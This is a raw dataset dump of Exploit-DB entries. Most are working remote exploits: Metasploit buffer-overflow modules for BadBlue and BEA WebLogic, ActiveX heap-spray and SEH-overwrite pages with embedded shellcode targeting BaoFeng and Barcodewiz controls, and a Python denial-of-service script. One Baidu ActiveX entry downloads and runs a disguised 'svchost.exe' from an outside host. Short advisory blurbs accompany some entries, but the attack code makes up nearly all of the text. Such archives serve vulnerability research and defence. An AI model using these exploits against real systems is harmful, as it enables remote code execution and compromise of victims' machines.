deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16806
Description: BadBlue 2.72b - PassThru Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-08
Author: Metasploit

Exploit:
##
# $Id: badblue_passthru.rb 9744 2010-07-08 23:34:50Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
	# However, a proper Server header is returned when requesting /index.html or using HEAD.
	HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BadBlue 2.72b PassThru Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the PassThru
				functionality in ext.dll in BadBlue 2.72b and earlier.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9744 $',
			'References'     =>
				[
					['CVE', '2007-6377'],
					['OSVDB', '42416'],
					['BID', '26803'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3c\x3d\x3f\x5c",
					'StackAdjustment' => -3500,
					#'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'	=>  'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# This is the version being distributed on badblue.com as of Jul 7th 2010
					[ 'BadBlue EE 2.7 Universal', { 'Ret' => 0x10033f44 } ], # pop/pop/ret in ext.dll v1.0.0.1 (06a6dc81924ba94bfbbd00902d054db2)
					[ 'BadBlue 2.72b Universal', { 'Ret' => 0x1003f2f3 } ]   # pop/pop/ret from ??
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 10 2007'))
	end

	def exploit
		seh_offset = 4116
		sploit = Rex::Text.pattern_create(seh_offset)
		# Need to jump over the nul byte
		seh = Rex::Arch::X86.jmp_short(8) + rand_text(2) + [target.ret].pack('V')
		sploit << seh

		plen = payload.encoded.length
		sploit[seh_offset - 16 - plen, plen] = payload.encoded

		# This pointer will force a crash when it is used in a lock instruction
		ptr = rand_text(3)
		ptr << [0x80|rand(256)].pack('C')
		sploit[seh_offset - 8,4] = ptr

		# These two bytes get corrupted, so we can't use them.
		sploit << rand_text(2)

		# jump back to the payload
		distance = 2 + 8 + 16 + plen
		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string


		# Build the final URI
		uri = "/ext.dll?mfcisapicommand=PassThru&"
		uri << sploit

		print_status("Trying target %s..." % target.name)
		send_request_raw({ 'uri' => uri }, 5)

		handler
		disconnect
	end

end
Exploit-DB #30431
Description: Baidu Soba Search Bar 5.4 - 'BaiduBar.dll' ActiveX Control Remote Code Execution
Type: remote
Platform: windows
Date: 2007-07-29
Author: cocoruder

Exploit:
source: https://www.securityfocus.com/bid/25121/info

An ActiveX control installed with Baidu Soba search bar is prone to a remote code-execution vulnerability.

An attacker can exploit this issue to execute hostile code on a victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer). Successful exploits will allow attackers to execute arbitrary code with the privileges of the affected user; other consequences are possible.

This issue affects Baidu Soba 5.4; other versions may also be affected. 

<html>
<head>

<script>

function DowndloadCalcAndRun()
{

com.DloadDS("http://www.example.com/svcho st.cab", "svch ost.exe", 0);

}

</script>
</head>
<OBJECT ID = "com" CLASSID = "CLSID:{A7F05EE 4-0426-454F-8013-C41E 3596E9E9}">
</OBJECT>
<script>
DowndloadCalcAndRun()
</script>
</html>
Exploit-DB #27806
Description: BankTown ActiveX Control 1.4.2.51817/1.5.2.50209 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2006-05-03
Author: Gyu Tae

Exploit:
source: https://www.securityfocus.com/bid/17815/info

BankTown ActiveX control is prone to a buffer-overflow vulnerability. The software fails to perform sufficient bounds-checking of user-supplied input before copying it to an insufficiently sized memory buffer.

Invoking the object from a malicious website may trigger the condition. If the vulnerability were successfully exploited, this would corrupt process memory, resulting in arbitrary code execution. Arbitrary code would be executed in the context of the client application.

<snip code>
<BODY>
<OBJECT id="GotBT" width=0 height=0
classid="CLSID:C572979D-8383-4CCA-A37A-0F7CC3B62D81"
       CODEBASE="http://download.banktown.com/XXXXXXXXXXXXX/BtCxSFM20F.cab#version=1,4,2,51817">
</OBJECT>

<script language=javascript>
<!--
function go() {
        var str1 = "Hacked";
        var str2 = "http://www.hacked_X_.org/Magic_length/Magic_strings";
       val = GotBT.SetBannerUrl(str2, str1);
}
go();
</SCRIPT>
</body>
</snip code>
Exploit-DB #8757
Description: BaoFeng - 'config.dll' ActiveX Remote Code Execution
Type: remote
Platform: windows
Date: 2009-05-21
Author: etirah

Exploit:
#
# BaoFeng (config.dll) ActiveX Remote Code Execution Exploit
# Exploit made by etirah
# Download: www.baofeng.com
#
# Problem DLL    :   config.dll
# Problem Func   :   SetAttributeValue(param1,param2,param3)
# Problem Param  :   param1
#
# References:
#     1. http://forum.eviloctal.com/viewthread.php?tid=35051
#     2. http://www.milw0rm.com/exploits/8579

<html>
<body>
<object classid="clsid:BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05" id="target"></object>

<script>
function test()
{
    //show messagebox
    var shellcode = unescape("\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6574\u7473\uc48b\u6853\u3a20\u292d\u7468\u2065\u6820\u6168\u6972\ud48b\u5053\u5352\u57ff\u53fc\u57ff\u00f8");
    var bigblock = unescape("%u9090%u9090");
    var headersize = 20;
    var slackspace = headersize+shellcode.length;
    while (bigblock.length<slackspace)
        bigblock+=bigblock;

    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length-slackspace);
    while(block.length+slackspace<0x40000)
        block = block+block+fillblock;

    memory = new Array();
    for (x=0; x<300; x++)
        memory[x] = block + shellcode;
    var buffer = '';
    while (buffer.length < 264)
        buffer+=unescape("%u0c0c%u0c0c");
    target.SetAttributeValue(buffer, ":-)", "(-:");
}

test();

</script>
</body>
</html>

# milw0rm.com [2009-05-21]
Exploit-DB #8579
Description: BaoFeng - ActiveX 'OnBeforeVideoDownload()' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2009-04-30
Author: MITBOY

Exploit:
#
# BaoFeng (mps.dll) Remote Code Execution Exploit
# By: MITBOY
# Download: www.baofeng.com
#
# Problem DLL    :     mps.dll
# Problem Func   :   OnBeforeVideoDownload()

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="target"></object>
<input type="button" onclick="test()" value="test" />
<script>
function test()
{
    var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
    var bigblock = unescape("%u9090%u9090");
    var headersize = 20;
    var slackspace = headersize+shellcode.length;
    while (bigblock.length<slackspace)
        bigblock+=bigblock;
      
    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length-slackspace);
    while(block.length+slackspace<0x40000)
        block = block+block+fillblock;
  
    memory = new Array();
    for (x=0; x<300; x++)
        memory[x] = block + shellcode;
    var buffer = '';
    while (buffer.length < 4150)
        buffer+="\x0c\x0c\x0c\x0c";
    target.OnBeforeVideoDownload(buffer);
}
</script>
</body>
</html>

# milw0rm.com [2009-04-30]
Exploit-DB #37542
Description: Barcodewiz 'Barcodewiz.dll' ActiveX Control - 'Barcode' Method Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2012-07-25
Author: coolkaveh

Exploit:
source: https://www.securityfocus.com/bid/54701/info

BarCodeWiz ActiveX control is prone to a buffer-overflow vulnerability because it fails to sufficiently bounds-check user-supplied input.

An attacker may exploit this issue by enticing victims into opening a malicious webpage or HTML email that invokes the affected control.

Successful exploits will allow attackers to execute arbitrary code within the context of the affected application (typically Internet Explorer) that uses the ActiveX control. Failed exploit attempts will result in a denial-of-service condition.

BarCodeWiz 4.0.0.0 is vulnerable to this issue; other versions may be affected as well. 

<html>
Exploit
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='poc'
/></object>
<script language='vbscript'>
targetFile = "C:\Program Files (x86)\BarCodeWiz ActiveX
Trial\DLL\BarcodeWiz.dll"
prototype  = "Property Let Barcode As String"
memberName = "Barcode"
progid     = "BARCODEWIZLib.BarCodeWiz"
argCount   = 1
arg1=String(14356, "A")
poc.Barcode = arg1
</script>
Exploit-DB #3882
Description: Barcodewiz ActiveX Control 2.52 - 'Barcodewiz.dll' Overwrite (SEH)
Type: remote
Platform: windows
Date: 2007-05-09
Author: Parveen Vashishtha

Exploit:
<!--

  ===============================================================================================
         BarCodeWiz ActiveX Control 2.52 (BarcodeWiz.dll)Stack Overflow SEH Overwrite Exploit
                                          By Parveen Vashishtha
  ==============================================================================================   
        
  Date : 09-05-2007
 
   Open Calc on 2K
 
  
  PS. This was written for educational purpose. Use it at your own risk.Author will be not be
      responsible for any damage.
 
  Thanks to Metasploit and Stroke 

-->
<html>

<body>

<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6" > </OBJECT>

<script language="vbscript">




shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")
shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")
shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47")
shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38")
shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e")
shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54")
shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33")
shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a")
shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43")
shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49")
shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a")


nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90")                    

pointer_to_seh=unescape("%eb%06%90%90")

seh_handler=unescape("%a9%11%02%75")


targetFile = "C:\Program Files\BarCodeWiz ActiveX Demo\DLL\BarcodeWiz.dll"
prototype  = "Function Verify ( ByVal Barcode As String ) As Boolean"
memberName = "Verify"
progid     = "BARCODEWIZLib.BarCodeWiz"
argCount   = 1

arg1=String(3256,"A")

arg1=arg1+pointer_to_seh+seh_handler+nop+shellcode+nop

target.Verify arg1

 

</script>
</body>
</html>

# milw0rm.com [2007-05-09]
Exploit-DB #14505
Description: Barcodewiz Barcode ActiveX Control 3.29 - Remote Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2010-07-30
Author: loneferret

Exploit:
# BarCodeWiz Barcode ActiveX Control 3.29 BoF (SEH)
# Bug found: 24th July 2010
# Author: loneferret
# Software: http://www.barcodewiz.com/
# Nods to exploit-db.com

# Vulnerable file BarCodeWiz.dll
# LoadProperties method

# Tested on: Windows XP Professional SP3 with Internet Explorer 6
# [Needs adjustment for Internet Explorer 7]

 
# Vendor contacted: 24th July 2010
# Vendor first reply: 26th July 2010: Wanting more information
# Vendor contacted: 26th July 2010: Sent 2 proof of concepts files
# Vendor contacted: 29 July 2010: Asked for update
# No Response from vendor: 30 July 2010
# Public Release : 30 July 2010

#
# Shellcode calc.exe
# 

----HTML FILE FROM HERE ON-----

<html>
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='target'></object>
<script language='vbscript'>

buffer = String(97,"A")
jmp = unescape("%eb%06%41%41")
SEH = unescape("%4b%f4%02%10")
shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")
shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")
shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47")
shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38")
shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e")
shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54")
shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33")
shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a")
shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43")
shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49")
shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a")
buffer2 = String(1552, "C")

arg1 = buffer + jmp + SEH + shellcode + buffer2

target.LoadProperties arg1

</script>

Barcodewiz 3.29
</html>
Exploit-DB #14519
Description: Barcodewiz Barcode ActiveX Control 3.29 - Remote HeapSpray (Internet Explorer 6/7)
Type: remote
Platform: windows
Date: 2010-07-31
Author: Dr_IDE

Exploit:
<!--
Title:		Barcodewiz 3.29 ActiveX Heap Spray Exploit
Coded By:	Dr_IDE
Found By:	loneferret
Tested:		Windows XP SP3 on IE6 + IE7
Date:		July, 30 2010
-->
<html>
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='target'></object>
<script language='javascript'>

// Payload is win32_exec -  calc.exe  

shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+  
                    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+  
                    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+  
                    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+  
                    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+  
                    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+  
                    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+  
                    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');  

nops=unescape('%u9090%u9090');  
headersize = 69;  //size adjusted for IE6/IE7 "universality"
slackspace= headersize + shellcode.length;
while(nops.length<slackspace) nops+=nops;
fillblock=nops.substring(0,slackspace);
block=nops.substring(0,nops.length-slackspace);
while(block.length+slackspace<0x40000) block=block+block+fillblock;
memory=new Array();
for( counter=0; counter<250; counter++) memory[counter]= block + shellcode;  
ret='';
for( counter=0; counter<=1000; counter++) ret+=unescape("%0a%0a%0a%0a");  

target.LoadProperties(ret);
</script>
</html>
Exploit-DB #34685
Description: Basic Web Server 1.0 - Directory Traversal / Denial of Service
Type: remote
Platform: windows
Date: 2010-09-19
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/43356/info

Basic Web Server is prone to a directory-traversal vulnerability and a denial-of-service vulnerability.

Exploiting these issues will allow attackers to obtain sensitive information or cause denial-of-service conditions.

Basic Web Server 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/?../../../../../../../../../../windows/win.

import socket

host = 'localhost'
port = 80

include_file = True
complete_path = True

try:
    for i in range(0, 1024):

        for x in range(0, 8):
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, port))
            s.settimeout(2)
            s.send('GET http:/// HTTP/1.1\r\n'
                   'Host: ' + host + '\r\n\r\n')
            print '.',

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.settimeout(2)
        s.send('GET / HTTP/1.1\r\n'
               'Host: ' + host + '\r\n\r\n')
        s.recv(8192)

        print 'response received'
except:
    print 'error contacting server'
Exploit-DB #16762
Description: BEA WebLogic - JSESSIONID Cookie Value Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-03
Author: Metasploit

Exploit:
##
# $Id: bea_weblogic_jsessionid.rb 9670 2010-07-03 03:19:07Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BEA WebLogic JSESSIONID Cookie Value Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in BEA\'s WebLogic plugin. The vulnerable
				code is only accessible when clustering is configured. A request containing a
				long JSESSION cookie value can lead to arbirtary code execution.
			},
			'Author'         => 'pusscat',
			'Version'        => '$Revision: 9670 $',
			'References'     =>
				[
					[ 'CVE', '2008-5457' ],
					[ 'OSVDB', '51311' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Privileged'     => true,
			'Platform'       => 'win',
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00\x0d\x0a\x20\x3B\x3D\x2C",
					'StackAdjustment' => -3500,
				},
			'Targets'        =>
				[
					[  'Windows Apache 2.2 - WebLogic module version 1.0.1136334',
						{
							'Ret' => 0x1006c9b5,    # jmp esp
						}
					],
					[  'Windows Apache 2.2 - WebLogic module version 1.0.1150354',
						{
							'Ret' => 0x1006c9be,    # jmp esp
						}
					],
				],
			'DefaultTarget'  => 1,
			'DisclosureDate' => 'Jan 13 2009'))

		register_options(
			[
				Opt::RPORT(80)
			], self.class )
	end

	def exploit
		sploit = Rex::Text.rand_text_alphanumeric(10000, payload_badchars)
		sploit[8181, 4] = [target.ret].pack('V')
		sploit[8185, payload.encoded.length] = payload.encoded

		request =
			"POST /index.jsp HTTP/1.1\r\nHost: localhost\r\nCookie: TAGLINE=IAMMCLOVIN; JSESSIONID=" +
			sploit +
			"\r\n\r\n"

		connect
		sock.put(request);
		handler

		disconnect
	end

end
Exploit-DB #16796
Description: BEA Weblogic - Transfer-Encoding Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-08
Author: Metasploit

Exploit:
##
# $Id: bea_weblogic_transfer_encoding.rb 9744 2010-07-08 23:34:50Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	HttpFingerprint = { :pattern => [ /Apache/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BEA Weblogic Transfer-Encoding Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack based buffer overflow in the BEA
				Weblogic Apache plugin.  This vulnerability exists in the
				error reporting for unknown Transfer-Encoding headers.
				You may have to run this twice due to timing issues with handlers.
			},
			'Author'         => 'pusscat',
			'Version'        => '$Revision: 9744 $',
			'References'     =>
				[
					[ 'CVE', '2008-4008' ],
					[ 'OSVDB', '49283' ],
					[ 'URL', 'http://support.bea.com/application_content/product_portlets/securityadvisories/2806.html'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Privileged'     => true,
			'Platform'       => 'win',
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x0d\x0a",
					'StackAdjustment' => -1500,
				},
			'Targets'        =>
				[
					[  'Windows Apache 2.2 version Universal',
						{
							'Ret' => 0x1001f4d6,    #pop/pop/ret
						}
					],
				],
			'DisclosureDate' => 'Sept 09 2008',
			'DefaultTarget'  => 0))
	end

	def exploit

		sploit = rand_text_alphanumeric(5800)
		sploit[5781, 8] = generate_seh_record(target.ret)
		# Jump backward to the payload
		sploit[5789, 5] = "\xe9\x5e\xe9\xff\xff"
		sploit[0, payload.encoded.length+7] = make_nops(7) + payload.encoded

		datastore['VHOST'] = 'localhost'
		send_request_cgi(
			{
				'method'  => 'POST',
				'url'     => '/index.jsp',
				'data'    => '',
				'headers' =>
					{
						'Transfer-Encoding' => sploit
					}
			})

		handler

	end

end
Exploit-DB #22448
Description: BEA WebLogic 7.0 - Hostname/NetBIOS Name Remote Information Disclosure
Type: remote
Platform: windows
Date: 2003-04-02
Author: Michael Hendrickx

Exploit:
source: https://www.securityfocus.com/bid/7257/info

It has been reported that some types of requests may result in sensitive information disclosure. From this, an attacker may be able to launch a more organized attack against vulnerable hosts. 

GET . HTTP/1.0\r\n\r\n

And also:

./
.//
.//////////////
.%20
.%20%20
..